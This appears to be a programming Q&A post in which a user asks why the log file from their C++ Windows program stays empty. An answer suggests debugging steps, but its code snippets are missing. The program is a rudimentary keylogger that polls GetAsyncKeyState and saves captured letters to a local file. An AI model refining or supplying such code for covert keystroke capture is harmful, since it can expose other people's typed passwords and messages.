I’m compiling this code with GNU GCC Compiler in Code Blocks but for some reason the log file that it creates remains empty no matter what. Any ideas why this might be?
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
s+=i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s+=" ";
}
}
log << s;
log.close();
cin.get();
}
Consider following points:
Are you trying
log << "TEST"in the condition?Try this (right after the
log.opencall):If
TESTgets written to the file, your file is empty because the condition never gets true.An other issue might be that the file contains non-displayable characters.
Dump your file to a hex-editor. Does the file have a size of
0or is it containing data you might not be able to display on common text editors?*EDIT: * This should do what you want:
Either write your
ior" "directly tologor use a stringstream: